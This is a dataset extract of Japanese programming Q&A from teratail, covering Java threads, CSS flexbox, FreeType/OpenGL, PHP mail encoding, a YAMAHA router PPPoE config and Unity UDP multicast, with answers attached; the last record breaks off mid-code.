id
stringlengths
32
32
text
stringlengths
0
895k
name
stringlengths
0
33k
domain
stringlengths
5
44
bucket
stringclasses
19 values
answers
list
994107dc6a073f74384452861ef19b47
### 前提・実現したいこと Javaを用いて、二人(husbandとwife)が100円の出入金を繰り返すプログラムを2つのスレッドを使ってつくりたいのですが、「Thread[Thread main]が出金or入金されました。」という実行表示を husbandが100円入金しました。 husbandが100円出金しました。 wifeが100円入金しました。 wifeが100円出金しました。 と表示されるようなプログラムにするためには、Accountクラスをどう処理したらよろしいでしょうか。 教科書に沿ってやっていてもなかなかわからないので、 ぜひよろしくお願いします。 できるだけ具体的に示してもらえると助かります。 ### 発生している問題・エラーメッセージ ``` エラーメッセージ ``` ### 該当のソースコード ``` package thread; public class Account{ private int balance = 0; public void deposit(int money){ int currentBalance = balance; System.out.println(Thread.currentThread()+"が入金されました。"); } public void withdraw(int money){ balance += money; System.out.println(Thread.currentThread()+"が出金されました。"); } } ``` ``` package thread; public class User extends Thread { Account account; public User (Account account){ this.account = account; } @Override public void run(){ while(true){ account.deposit(100); try { Thread.sleep((long)Math.random()*1000000000); } catch (InterruptedException e) { // TODO 自動生成された catch ブロック e.printStackTrace(); } account.withdraw(-100); try { Thread.sleep((long)Math.random()*1000000000); } catch (InterruptedException e) { // TODO 自動生成された catch ブロック e.printStackTrace(); } } } public static void main(String[] args) { Account account = new Account(); User husband = new User(account); User wife = new User(account); husband.start(); wife.start(); } } ``` ### 試したこと 課題に対してアプローチしたことを記載してください ### 補足情報(言語/FW/ツール等のバージョンなど) より詳細な情報
スレッドの使い方について、口座システムを作りたい ========================
teratail.com
2020.10
[ { "text": "* 表示 \n\ndeposit, withdrawにUserも引数に加え、入出金の際にUserの名前を金額とともに表示します。\n* 同期 \n\n複数のスレッドで実行するのでbalanceの値に矛盾がでないよう、deposit, withdrawは同期する必要があります。簡単に行うにはこの2つのインスタンスメソッドをsynchronizedにすればよいです。\n\n\n以上でお望みのことはできますが・・・ \n\n夫婦がそれぞれ自分が稼いだ分を等しく使うだけなのでスレッドプログラミングの題材としては面白みに欠けます。そこで問題を「夫はたまに倹約する。妻はもし引き出せるなら200円引き出し、残高が足りないなら100円引き出す」というふうに変えてみると、口座が破たんしないように夫婦がいかに生活するかが観察できます。そのためには以下の配慮が必要です。 \n\n\n* 銀行口座(Account) \n\n残金が不足している場合はwithdrawメソッドで入金されるまで待つのではなく失敗させます。そうすれば引き出しを行う側の都合によって引き出せるまで待ったり、引き出し金額を少なくするといった選択の幅ができます。\n\n\nお望みの条件とは異なるプログラムになりますが、コードは例えば以下のようになります。 \n\n\n\n```\nimport java.util.Random;\n\nclass Account {\n int balance = 0;\n\n public synchronized void deposite(User who, int amount) {\n balance += amount;\n System.out.format(\"%sが%d円入金しました。\\n\", who.getName(), amount);\n notifyAll(); // 入金待ちUserがいたとき入金されたことを通知\n }\n\n public synchronized boolean withdraw(User who, int amount) {\n if (balance < amount)\n return false;\n balance -= amount;\n System.out.format(\"%sが%d円出金しました。\\n\", who.getName(), amount);\n return true;\n }\n}\n\nabstract class User extends Thread {\n Account account;\n\n protected User(String name, Account account) {\n super(name);\n this.account = account;\n }\n\n // 引き出せるまで待ち続ける。無茶な金額を入れると無限に帰ってこないので注意。\n void withdrawAndWait(int amount) throws InterruptedException {\n while (!account.withdraw(this, amount)) {\n synchronized (account) {\n account.wait();\n }\n }\n }\n\n @Override public void run() {\n try {\n for (;;) {\n life();\n }\n } catch (InterruptedException e) {\n System.out.println(\"interrupted\");\n }\n }\n\n protected abstract void life() throws InterruptedException;\n}\n\nclass Husband extends User {\n Random rnd = new Random();\n\n Husband(Account account) { super(\"husband\", account); }\n\n @Override protected void life() throws InterruptedException {\n account.deposite(this, 100);\n sleep(1000);\n if (rnd.nextBoolean())\n withdrawAndWait(100);\n else\n System.out.println(\"お小遣いなしですか・・・\");\n }\n}\n\nclass Wife extends User {\n Wife(Account account) { super(\"wife\", account); }\n\n @Override protected void life() throws InterruptedException {\n account.deposite(this, 100);\n sleep(1000);\n if (account.withdraw(this, 200)) {\n System.out.println(\"使わなくっちゃ・・・\");\n } else {\n withdrawAndWait(100);\n }\n }\n}\n\npublic class MarriedLife {\n public static void main(String[] args) {\n Account account = new Account();\n User husband = new Husband(account);\n User wife = new Wife(account);\n husband.start();\n wife.start();\n }\n}\n```\n", "name": "", "is_accepted": true } ]
ceac7627cdcafdf5f27d83f96acf0d08
お世話になっております。現在サイト製作中の段階で問題があったため質問させていただきます。 今回、flexboxを使用したサイトを制作使用と考え試行錯誤しております。 [![イメージ説明](https://teratail.storage.googleapis.com/uploads/contributed_images/952386d7afb56cd22bcafec4a0717fc8.jpeg)](https://teratail.storage.googleapis.com/uploads/contributed_images/952386d7afb56cd22bcafec4a0717fc8.jpeg) イメージとしては写真の通りですが、続いているdiv要素のある要素内にさらにdiv要素を作り文字を中央配置させたいと考え制作しています。 そこで、私は下記のようなコードを書きました。 HTML ``` <div style="" class="main\_div"> <a style="" class="title" id="">A</a><br> <div style="" class="sub\_div"> <a style="" class="sub\_font" id="">a</a><br> <a style="" class="sub\_font" id="">b</a><br> <a style="" class="sub\_font" id="">c</a><br> <a style="" class="sub\_font" id="">d</a><br> </div> </div> ``` CSS ``` .main\_div { width: 100%; height: 100vh; color: white; background-color: white; display: flex; -js-display: flex; align-items: center; justify-content: center; flex-direction: column; position: relative; margin-left:auto; margin-right:auto; } .title { text-align: center; color: black; font-size: 50px; width: 90%;  margin-top: 1000px; } .sub\_div { width: 85%; height: 75%; background-color: #D8DE3C; border-radius: 90px;  text-align: center; -webkit-align-items: center; align-items: center;  -webkit-justify-content: center;  justify-content: center; position: relative;  display: flex;  justify-content: center;  align-items: center; } .sub\_font { text-align: center; color: black; font-size: 25px; width: 70%;  -webkit-transform: translateY(-50%);  -ms-transform: translateY(-50%);  transform: translateY(-50%); position: relative; margin-right:auto; margin-left:auto; display: flex;  justify-content: center;  align-items: center; } ``` しかし、このようなコードを書いた際に文字は左右中央に配置することができましたが縦横に対して中央揃えにならず上寄りの状態になってしまいます。 そこで、今回の問題点である上下中央揃えの方法について教えていただきたいです。 よろしくお願いいたします。
ブロック要素内のそのまたブロック要素内のインライン要素を中央寄せさせる方法 =====================================
teratail.com
2020.34
[ { "text": "親要素に対して以下を指定すればよいかと思います。 \n\n\n\n```\n.foo {\n display: flex;\n flex-direction: column;\n justify-content: center;\n align-items: center;\n}\n```\n\n \n\nflex-wrap: wrap; を flex-direction: column; \n\nalign-content: center; を align-items: center; \n\nに修正しました。 \n\n\nコレだと<br>が無くとも縦一列になります。 \n\n\n参考:<http://frontenddaily.work/flex/801> \n\ncodepenで確認する↓ \n\n<https://codepen.io/RaRukAnA/pen/erYYXq>\n\n", "name": "", "is_accepted": true } ]
61c32fb00cda1b3937c07d671deb7c6e
お世話になっております。ibeaconの信号をAndroidで認識し、その信号に応じてアプリを画面遷移させる。という処理をしたいと考えております。 しかし、自分の力不足が大きいのですが、調べていてイマイチ記述方法がわかりません。 UUID、major、minorをそれぞれ指定した場合 例えば ``` UUIDがAAAAAAAABBBBBBBBCCCCCC majorが01 minorが01 ``` で、UIIDと、majorと、minorを指定し、その信号を受信した時に画面遷移するような事をしたいと考えております。 LeScanCallbackに、処理を記述するのかと思いますが、どのように記述するものなのでしょうか。 beaconの認識、UUID、major、minorは認識できております。 大変申し訳ないのですが、皆さんのお知恵をお借りできないでしょうか? よろしくお願いいたします。 ``` private BluetoothAdapter.LeScanCallback mLeScanCallback = new BluetoothAdapter.LeScanCallback() { @Override public void onLeScan(final BluetoothDevice device, int rssi,byte[] scanRecord) { } }; ```
ibeaconの信号をAndroidで認識し、処理を書きたいが、UUID、majorなどの指定の仕方がイマイチ分からない。 =============================================================
teratail.com
2021.43
[ { "text": "kaaaさん\n \n信号が取得できているなら、あとは画面を起動するためのstartActivityメソッドをonLeScan内で実装すればいいと思います。\n \n\n \nまずは、起動したいActivityを別途作成します。\n \nここでは、\n \n・TestActivity.javaというActivityを継承したものがある\n \n・AndroidManifest.xmlにTestActivityをactivityとして追加\n \n・uuid、major、minorは文字列として取得済み\n \nの想定で記述します。\n \n\n \n\n```\nprivate BluetoothAdapter.LeScanCallback mLeScanCallback = new BluetoothAdapter.LeScanCallback() {\n@Override\npublic void onLeScan(final BluetoothDevice device, int rssi,byte[] scanRecord) {\n\n// uuid,major,minorを取得\n// ~~~~~~~~~~~~~\n// ~~~~~~~~~~~~~\n\nif(uuid.equals(\"指定したいUUID\") && major.equals(\"指定したいmajor\" && minor.equals(\"指定したいminor\"))) {\n  Intent intent = new Intent(getApplicationContext(), TestActivity.class);\n  startActivity(intent);\n};\n}\n};\n```\n\n \nこうすることで、TestActivityの画面に遷移することが可能になります。 \n", "name": "", "is_accepted": true } ]
fadc315de99a93aa5b6b2c1dfcd3e384
提示コードのvoid Draw();関数ですがコメント部の////内部の関数で例外エラーが発生してしまいます。itr->face のface に値がうまく入っていないのだと思いコンストラクタのfor文を確認しましたがしっかりとfaceが代入されていますこれはなぜ例外エラーが出るのでしょか?原因がわかりません。一番怪しいのはft\_Load\_glyph();関数なのですが引数を確認しましたが正しいと思います。 FreeTyper: https://www.freetype.org/freetype2/docs/reference/ft2-base\_interface.html#ft\_load\_glyph ``` #ifndef \_\_\_TEXT\_HPP\_ #define \_\_\_TEXT\_HPP\_ #include "Transform\_2D.hpp" #include "Shader.hpp" #include "glm/glm.hpp" #include <map> #include "ft2build.h" #include FT\_FREETYPE\_H /*######################################################################### # 文字描画クラス 説明 文字を描画する ###########################################################################*/ namespace FrameWork { class Window; class Text : protected FrameWork::Transform_2D { public: Text(int fontSize, const char* str, ...); //コンストラクタ ~Text(); //デストラクタ void Draw(glm::vec2 pos,glm::vec3 color); //描画 private: struct Character { unsigned int textureID; // グリフのテクスチャID FT_Face face; //フェイス }; std::vector<Character> character; //文字データ std::shared\_ptr<Window> windowContext; //ウインドウコンテキスト int charSize; //文字の大きさ(ピクセル) //FreeType //FreeTypeを初期化 FT_Face face = nullptr; //フェイス FT_Face fc = nullptr; //フェイス FT_Library ft; //freetype }; } #endif ``` ``` #include "Text.hpp" #include "glew/include/GL/glew.h" #include "glm/glm.hpp" #include "uchar.h" #include "Window.hpp" #include "FrameWork.hpp" #include <iostream> // ##################################### コンストラクタ ##################################### FrameWork::Text::Text(int fontSize,const char *str,...) : FrameWork::Transform_2D() { setlocale(LC_CTYPE, ""); //ローカルを設定 shader = std::make_unique<FrameWork::Shader>(); shader->Load("Shader/2D/BasicText\_2D.vert", "Shader/2D/BasicText\_2D.frag"); //vao glGenVertexArrays(1, &vao); glBindVertexArray(vao); //vbo glGenBuffers(1, &vbo); glBindBuffer(GL_ARRAY_BUFFER, vbo); //頂点属性 glBufferData(GL_ARRAY_BUFFER, sizeof(float) * 6 * 4, NULL, GL_DYNAMIC_DRAW); glEnableVertexAttribArray(0); glVertexAttribPointer(0, 4, GL_FLOAT, GL_FALSE, 4 * sizeof(float), 0); //初期化 if (FT_Init_FreeType(&ft) != 0) { std::cerr << "FreeType ライブラリを初期化出来ません。"<<std::endl; } //フェイス作成 フォントはメイリオ if (FT_New_Face(ft, "C:\\Windows\\Fonts\\meiryo.ttc", 0, &face) != 0) { std::cerr << "フォントを読み込めません。" << std::endl; } charSize = fontSize; FT_Set_Pixel_Sizes(face,0,charSize); //ピクセルサイズを指定 glPixelStorei(GL_UNPACK_ALIGNMENT, 1); // disable byte-alignment restriction //文字データを生成 //マルチバイト文字をワイド文字変換 wchar\_t txt[1000] = { L'\0' }; char text[1000]; va_list args; va_start(args, str); vsprintf_s(text, sizeof(text), str, args); va_end(args); int i, j, f; for (i = 0, j = 0; text[j]; i++, j += f) { f = (int)mbrtowc(txt + i, &text[j], (size\_t)MB_CUR_MAX, nullptr); } ///////////////////////////////////////////////////////////////////////////////////////////////// for (int i = 0; txt[i] != L'\0'; i++) { unsigned int texture = 0; //グリフをロード //文字データを設定 Character ch = { texture, face }; glGenTextures(1, &ch.textureID); glBindTexture(GL_TEXTURE_2D, ch.textureID); FT_Load_Glyph(face, FT_Get_Char_Index(face, txt[i]), FT_LOAD_RENDER); ch.face = face; glTexImage2D( GL_TEXTURE_2D, 0, GL_RED, face->glyph->bitmap.width, face->glyph->bitmap.rows, 0, GL_RED, GL_UNSIGNED_BYTE, face->glyph->bitmap.buffer ); //テクスチャを生成 character.push_back(ch); } /////////////////////////////////////////////////////////////////////////////////////////////////////////// //グリフ解放 // FT\_Done\_Face(face); FT_Done_FreeType(ft); glBindBuffer(GL_ARRAY_BUFFER, 0); glBindVertexArray(0); } // ##################################### 描画 ##################################### void FrameWork::Text::Draw(glm::vec2 pos,glm::vec3 color) { shader->setEnable(); //シェーダーを有効にする //色をRGBにして位置を反転 pos.y = FrameWork::getWindowContext()->getSize().y - pos.y - charSize; const float c = 1.0f / 255; color = color * c; //テクスチャをアクティブ glActiveTexture(GL_TEXTURE0); glBindVertexArray(vao); glBindBuffer(GL_ARRAY_BUFFER,vbo); //Unform shader->setUniform3f("textColor", color); shader->setUniformMatrix4fv("uViewProjection", glm::ortho(0.0f, FrameWork::getWindowContext()->getSize().x, 0.0f, FrameWork::getWindowContext()->getSize().y)); for (std::vector<Character>::iterator itr = character.begin(); itr != character.end(); itr++) { //テクスチャタイプを設定 glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); //テクスチャを生成 /////////////////////////////////////////////////////////////////////////////////// float xpos = pos.x + itr->face->glyph->bitmap_left * 1.0f; float ypos = pos.y - (itr->face->glyph->bitmap.rows - itr->face->glyph->bitmap_top) * 1.0f; ////////////////////////////////////////////////////////////////////////////////////// float w = itr->face->glyph->bitmap.width * 1.0f; float h = itr->face->glyph->bitmap.rows * 1.0f; float vertices[6][4] = { { xpos, ypos + h, 0.0f, 0.0f }, { xpos, ypos, 0.0f, 1.0f }, { xpos + w, ypos, 1.0f, 1.0f }, { xpos, ypos + h, 0.0f, 0.0f }, { xpos + w, ypos, 1.0f, 1.0f }, { xpos + w, ypos + h, 1.0f, 0.0f } }; glBindBuffer(GL_ARRAY_BUFFER, vbo); glBufferSubData(GL_ARRAY_BUFFER, 0, sizeof(vertices), vertices); glDrawArrays(GL_TRIANGLES, 0, 6); glBindTexture(GL_TEXTURE_2D, 0); pos.x += ((itr->face->glyph->advance.x >> 6) * 1.0f); //次のグリフに進める } glBindVertexArray(0); glBindBuffer(GL_ARRAY_BUFFER, 0); glBindTexture(GL_TEXTURE_2D, 0); shader->setDisable(); //シェーダーを無効にする } // ##################################### デストラクタ ##################################### FrameWork::Text::~Text() { glDeleteVertexArrays(1, &vao); glDeleteBuffers(1, &vbo); } ```
FreeTypeライブラリ glTextureImage2Dでアクセスエラーになる原因が知りたい。 =================================================
teratail.com
2021.39
[ { "text": "`FT_Load_Glyph`を呼んだ時点で`fc->glyph`が変更されるので、`FT_Load_Glyph`とテクスチャ生成は一緒にしないとだめですね\n\n", "name": "", "is_accepted": false } ]
1e56670b2464914cce6e19f53f0e7924
POSTするJSファイルと配列を返すPHPファイルがあります(配列にはきちんと値が入っています) kind:hotelsで投げていますから$hotelsが返ってくると予想していましたが、$picsが返ってきます。 ``` if (isset($\_POST['kind']) == 'pics') { header('Content-Type: application/json'); echo json_encode($pics); exit; ``` を削除すると$tagsが返ってくるので全てにヒットしている気がします。どこに間違いがあるでしょうか。 ``` <script> $(function() { //未使用関数 function getPics() { $.post('sampleAjax.php', { kind: 'pics' }, function(reslut) { return reslut; }); } //未使用関数 function getTags() { $.post('sampleAjax.php', { kind: 'tags' }, function(reslut) { return reslut; }); } $('#push').on('click', function() { // ajax処理 $.post('sampleAjax.php', { kind: 'hotels' }, function(reslut) { //配列が返ってくる(動作確認済 console.log(reslut); }); return false; }); }); </script> ``` ``` <?php if ($_SERVER['REQUEST\_METHOD'] === 'POST') { if (isset($_POST['kind']) == 'pics') { header('Content-Type: application/json'); echo json_encode($pics); exit; }elseif (isset($_POST['kind']) == 'tags') { header('Content-Type: application/json'); echo json_encode($tags); exit; }elseif (isset($_POST['kind']) == 'hotels') { header('Content-Type: application/json'); echo json_encode($hotels); exit; } } ``` 追記 また未使用関数とコメントアウトしている関数を使うとUndefinedが返ってきます。こちらもヒントいただけると嬉しいです。
JqueryのPOSTの戻り値が期待値と異なる =======================
teratail.com
2019.47
[ { "text": "もういい加減、リファレンスを読みましょうよ。 \n\n<http://php.net/manual/ja/function.isset.php> \n\n\n[![イメージ説明](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/684c43f121920ab7827ce7168d4f7ad0.png)](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/684c43f121920ab7827ce7168d4f7ad0.png) \n\n\nisset の返り値は `bool` なんですから、 \n\n\n\n```\nif (isset($_POST['kind']) == 'pics')\n```\n\nが成り立つわけないでしょう。 \n\n\n\n\n---\n\n\njQuery.ajax() \n\n<https://api.jquery.com/jQuery.ajax/>\n\n", "name": "", "is_accepted": true } ]
cfaa8482f9a87ebb4d6ef20d021cc421
PHPを利用してメールを送りたくて試行錯誤しています。 ネットに情報はたくさんありましたが、特に文字化けに関することはサイトによって言っていることが違い、どれが正しいのか困惑している状況です。 表示文字に制限があるので出来るだけISO-2022-JPを使いたくないという気持ちがあり いろいろと組み合わせ、(自身の環境でですが)試してみた結果、以下のようになりました。 問題点等ご指摘いただければ幸いです。 あと、一般的にはこうするという書き方や、ライブラリ、フレームワーク等ありましたら教えていただけますでしょうか。 よろしくお願いします。 疑問点① 「UTF-8をbase64エンコード」で送って、世間(※)のメーラーやMTAは対応しているのか ※メジャー処が対応していれば大丈夫だろうと思ってます…。 疑問点② そもそも「UTF-8をbase64エンコード」で送る場合の書き方はこれであっているのか ``` <?php mb_language("ja"); mb_internal_encoding("UTF-8"); $to = "to\_address@example.com"; $from = "from\_address@example.com"; $fromname = "送信者 アイウエオ①㋐髙"; $subject = "件名 アイウエオ①㋐髙"; $message = "本文 アイウエオ①㋐髙"; $filepath = "tmp/test.jpg"; $filename = "テスト画像.jpg"; $boundary = "\_\_BOUNDARY\_\_"; $body = ""; $body .= "--$boundary\r\n"; $body .= "Content-Type: text/plain; charset=UTF-8\r\n"; $body .= "Content-Transfer-Encoding: base64\r\n"; $body .= "\r\n"; $body .= chunk_split(base64_encode($message))."\r\n"; $body .= "--$boundary\r\n"; $body .= "Content-Type: application/octet-stream; name=\"$filename\"\r\n"; $body .= "Content-Disposition: attachment; filename=\"$filename\"\r\n"; $body .= "Content-Transfer-Encoding: base64\r\n"; $body .= "\r\n"; $body .= chunk_split(base64_encode(file_get_contents($filepath)))."\r\n"; $body .= "--$boundary--\r\n"; $mail_headers = "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n"; $mail_headers .= "Content-Transfer-Encoding: base64\r\n"; $mail_headers .= "From: =?UTF-8?B?".base64_encode($fromname)."?= <$from>"; $send = mail( $to, "=?UTF-8?B?".base64_encode($subject)."?=", $body, $mail_headers ); var_dump($send); ?> ``` 実行環境 さくらインターネット上で動かしています。 PHP 5.4 OS:FreeBSD 9.1-RELEASE Webサーバ:Apache/2.2.34 
PHPでの添付メール送信&文字化け回避について =======================
teratail.com
2021.04
[ { "text": "軽い気持ちで全てのメーラに対応できればと思っていましたが \n\nどうも100%の対応は無理だということが判明しましたのでUTF-8は諦めます。 \n\n特に今回はPC以外での受信を想定していましたので、ガラケーでの表示を優先しようと思います。 \n\nUTF-8が表示できない機種が未だ存在しているということが分かっただけでも収穫でした。 \n\n\n以下、質問に載せていたUTF-8でのメール送信コードを少し変更して、自分の中では確定版として残しておきます。 \n\n※ヘッダ部分と添付ファイル名にmb\\_encode\\_mimeheaderを使うように変更しました。 \n\n\nこれはこれで社内システム等限られた環境だと文字化けの心配なく送れるので、無駄ではなかったと思います。 \n\n\n\n```\nmb_language(\"ja\");\nmb_internal_encoding(\"UTF-8\");\n\n$to = \"to\\_address@example.com\";\n$from = \"from\\_address@example.com\";\n$fromname = \"送信者 アイウエオ①㋐髙\";\n$subject = \"件名 アイウエオ①㋐髙\";\n$message = \"本文 アイウエオ①㋐髙\";\n\n$filepath = \"tmp/test.jpg\";\n$filename = \"テスト画像.jpg\";\n\n$boundary = \"\\_\\_BOUNDARY\\_\\_\";\n\n\n$body = \"\";\n$body .= \"--$boundary\\r\\n\";\n$body .= \"Content-Type: text/plain; charset=UTF-8\\r\\n\";\n$body .= \"Content-Transfer-Encoding: base64\\r\\n\";\n$body .= \"\\r\\n\";\n$body .= chunk_split(base64_encode($message)).\"\\r\\n\";\n$body .= \"--$boundary\\r\\n\";\n$body .= \"Content-Type: application/octet-stream; name=\\\"\".mb_encode_mimeheader($filename, \"UTF-8\").\"\\\"\\r\\n\";\n$body .= \"Content-Disposition: attachment; filename=\\\"\".mb_encode_mimeheader($filename, \"UTF-8\").\"\\\"\\r\\n\";\n$body .= \"Content-Transfer-Encoding: base64\\r\\n\";\n$body .= \"\\r\\n\";\n$body .= chunk_split(base64_encode(file_get_contents($filepath))).\"\\r\\n\";\n$body .= \"--$boundary--\\r\\n\";\n\n$mail_headers = \"Content-Type: multipart/mixed; boundary=\\\"$boundary\\\"\\r\\n\";\n$mail_headers .= \"Content-Transfer-Encoding: base64\\r\\n\";\n$mail_headers .= \"From: \".mb_encode_mimeheader($fromname, \"UTF-8\").\" <$from>\\r\\n\";\n\n$send = mail(\n $to,\n mb_encode_mimeheader($subject, \"UTF-8\"),\n $body,\n $mail_headers\n );\n\nvar_dump($send);\n```\n", "name": "", "is_accepted": true }, { "text": "\n> \n> 疑問点① 「UTF-8をbase64エンコード」で送って、世間(※)のメーラーやMTAは対応しているのか \n> \n> 以前はWindowsのOutLookはいろいろ文字化けが起きていた気がします。現状は分かりません。 \n> \n> \n> 疑問点② そもそも「UTF-8をbase64エンコード」で送る場合の書き方はこれであっているのか \n> \n> 概ね問題ないのではないかと思います。(ファイル名にマルチバイトをそのまま記載して良かったかは?ですが。) \n> \n> \n> \n\n\n何がメール送信のスタンダードか自分も正しい解はもっていないのですが、 \n\n・PEARやComposerで見つかるもの \n\n・検索結果で情報が多いもの \n\n・フレームワークを利用していればをそこで利用されているもの \n\nを使用するのがいいのではないかと考えています。 \n\n\nまた、日本ではまだまだISO-2022-JPが根深いので、安全に送信するなら \n\nContent-Typeの指定はISO-2022-JPを利用するほうが無難だと思います。 \n\nただ、内部のエンコーディングは(ISO-2022-JP-MS)を利用するなどの工夫である程度は \n\n利用出来る文字範囲を広げることも可能ではないかと。 \n\n", "name": "", "is_accepted": false } ]
f4373a380400565bbb55aeeb2a513163
YAMAHAのルーター RTX-1100でPPPoE接続をして自宅からインターネットにつなごうと思ったところ、RTX-1100からインターネットには接続できるんですが、ポート1につないだPCからインターネットに出ることができません。 プロバイダはi-revoで、一個貰っている固定IPを使って接続しようとしています。 基本的な設定だとは思うのですが、足りない設定等ありましたらご教示ください。 > show config # RTX1100 Rev.8.03.46 (Mon Aug 28 13:00:42 2006) # MAC Address : 00:a0:de:33:94:7d, 00:a0:de:33:94:7e, 00:a0:de:33:94:7f, # Memory 32Mbytes, 3LAN, 1BRI # main:  RTX1100 ver=e0 serial=N1A067610 MAC-Address=00:a0:de:33:94:7d MAC-Addr ess=00:a0:de:33:94:7e MAC-Address=00:a0:de:33:94:7f ip route default gateway pp 1 ip lan1 address 192.168.0.1/24 ip lan2 nat descriptor 1 pp select 1  pp always-on on  pppoe use lan2  pppoe auto connect on  pp auth accept pap chap  pp auth myname (プロバイダID)@i-revonet.jp (パスワード)  ppp lcp mru on 1454  ppp ipcp msext on  ppp ccp type none  ip pp address (プロバイダから割る当てられた固定IP)/32  ip pp mtu 1454  ip pp nat descriptor 1  pp enable 1 nat descriptor type 1 masquerade nat descriptor address outer 1 primary nat descriptor address inner 1 192.168.0.1-192.168.0.254 dhcp service server dhcp scope 1 192.168.0.20-192.168.0.99/24 dns server 8.8.8.8 dns private address spoof on
YAMAHA RTX-1100を使ってi-revoの固定IPでPPPoE接続できない ==========================================
teratail.com
2021.21
[ { "text": "\n> ip lan2 nat descriptor 1\n\nこれが不要ではないかと思います。\n \nざっと見ただけなので間違っていたらすみません。 \n", "name": "", "is_accepted": false } ]
ef786a348234037968ec428169cec298
materialize http://materializecss.com/navbar.html#! というフレームワークを使ってドロップダウンのグローバルメニューを作成し、 wideslider http://black-flag.net/jquery/20130709-4710.html というものでトップページにスライダーを設置しました。 ところが、ドロップダウンメニューが表示されている時にスライダーが動くと ドロップダウンメニューが消えてしまいます。 どうすれば、スライダーの動きに干渉されず ドロップダウン部分が表示されたままにできるでしょうか。 ご教授いただければ幸いです。 何卒よろしくお願いいたします。
materializeで作成したドロップダウンメニューがwideslider.jsの動きがあると消える ===================================================
teratail.com
2021.21
[ { "text": "コードがないので確認がとれませんが、こんな感じのものを追加したらうまくいきますか?\n \n\n```\n.dropdown-content{ z-index:9999; }\n```\n", "name": "", "is_accepted": false } ]
271ccede1c1676fc98b42c3b024c7c70
とあるPHPのソースコードを見ていると、配列の中に ``` ($logged?$logged['id']:'0').' as logged', ``` や ``` '(Select count(id) from finished f where f.type=1 and f.user\_id=logged and f.target\_id=books.id) as finished' ``` などの記述がありました。 全体のソースコードを見ないと何が何だかって感じで非常に答えづらい質問で申し訳ないのですが、、、 foreachなど以外でのasは見たことがないので全然わかりません。 一応他のファイルなどを調べてると上記のコードが書かれたファイルでも使える関数の中で、 ``` public function columns($data=array()){ foreach($data as $cols){ $exp = explode(' AS ',$cols); if(count($exp)==2){ $this->asColumns[$exp[1]] = $exp[0]; } } $this->columns = $data; return $this; } ``` の中にexplodeでasで分割するようになっているのですが、PHPは大文字小文字の区別はどうなっているんでしょうか? それがわかればここは冒頭のasとexplodeのasは同義とかんがえて解決するのですが・・・
PHPの大文字と小文字の区別について ==================
teratail.com
2020.45
[ { "text": "\n> \n> 配列の中に(中略)などの記述がありました。 \n> \n> \n> \n\n\nこれは、PHPとしてのコードではない、**ただの文字列**です。\n\n", "name": "", "is_accepted": false } ]
65bfa4d94cc20e4d0d438832328f7824
課題で 今回悩んでいたところ 上司がUDP通信のソースを作ってきてくれました このソースは受信と送信を同時に行っているんでしょうか? 見てもあんまり意味がわかりませんでした ただ16進数にしなくちゃいけないが10進数になっているといわれました。 ``` using System.Collections.Generic; using UnityEngine; using System.Net; using System.Net.Sockets; using System.Threading; public class UdpSocket : MonoBehaviour { private string _MulticastAddr = "224.0.23.0"; // マルチキャストアドレス private string _RemoteHost = ""; // 送信相手アドレス private int _SendPort = 3610; // 送信ポート private int _RecvPort = 3610; // 受信ポート private UdpClient _UdpClient; // UDP private IPEndPoint _IpEndPoint; // IPEndPoint private Thread _RecvThread; // 受信スレッド // 接続 public void Connect() { IPAddress grpAddr = IPAddress.Parse(_MulticastAddr); if (_IpEndPoint != null) _IpEndPoint = null; _IpEndPoint = new IPEndPoint(grpAddr, _RecvPort); // マルチキャストグループに参加 Disconnect(); _UdpClient = new UdpClient(_RecvPort); _UdpClient.JoinMulticastGroup(grpAddr); // 受信スレッド生成 _RecvThread = new Thread(ReceiveMulticastThread); _RecvThread.Start(); // ノードプロファイル通知送信 SendNodeProfile(); } // 切断 public void Disconnect() { if (_RecvThread != null) { _RecvThread.Abort(); _RecvThread = null; } if (_UdpClient != null) { IPAddress grpAddr = IPAddress.Parse(_MulticastAddr); _UdpClient.DropMulticastGroup(grpAddr); _UdpClient.Close(); _UdpClient = null; } } // ノードプロファイル通知送信 public void SendNodeProfile() { byte[] pack = BuildNodeProfileInfo(); SendPacket(pack, _MulticastAddr); } // 送信 public void SendPacket(byte[] packet, string host) { _UdpClient.Send(packet, packet.Length, host, _SendPort); } // 受信スレッド public void ReceiveMulticastThread() { byte[] packet; int i = 0; System.Text.StringBuilder s = new System.Text.StringBuilder(); packet = _UdpClient.Receive(ref _IpEndPoint); if (packet != null) { // 受信できた! s.Remove(0, s.Length); for (i=0; i<packet.Length; i++) { s.Append(System.Convert.ToString(packet[i], 16).PadLeft(2, '0')); } Debug.Log(s.ToString()); } } // ノードプロファイル通知パケット作成 private byte[] BuildNodeProfileInfo() { byte[] pack; pack = new byte[17]; pack[0] = 0x10; // EHD1 pack[1] = 0x81; // EHD2 pack[2] = 0x00; // pack[3] = 0x01; // ID pack[4] = 0x0E; // 送信元「ノードプロファイルクラス」 pack[5] = 0xF0; // EOJ = 0x0E F0 01 pack[6] = 0x01; // pack[7] = 0x0E; // 送信先「ノードプロファイルクラス」 pack[8] = 0xF0; // EOJ = 0x0E F0 01 pack[9] = 0x01; // pack[10] = 0x73; // ESV pack[11] = 0x01; // OPC pack[12] = 0xD5; // EPC pack[13] = 0x04; // PDC pack[14] = 0x01; // EDT pack[15] = 0x05; // pack[16] = 0xFF; // pack[16] = 0x01; // return pack; } } コード ``` コード ``` unityでUDP通信の送信をしたい エラーはないのですが ボタンを押しても送信されません まず無反応です。何も起こりません 恐らくソースの何かがたらないです```ここに言語を入力 コード 送信コードが遅れたことも無反応なため 何か足りていないと思いました。 ``` using UnityEngine; using System.Net.Sockets; using System.Text; public class UDPClient : MonoBehaviour { public string host = "224.0.23.0"; public int port = 3610; private UdpClient client; // Use this for initialization public  void Start () { client = new UdpClient(); client.Connect(host, port); } // Update is called once per frame public void Update () { } void OnGUI() { if (GUI.Button(new Rect(10, 10, 100, 40), "ボタン")) { byte[] dgram = Encoding.UTF8.GetBytes("hello!"); client.Send(dgram, dgram.Length); } } void OnApplicationQuit() { 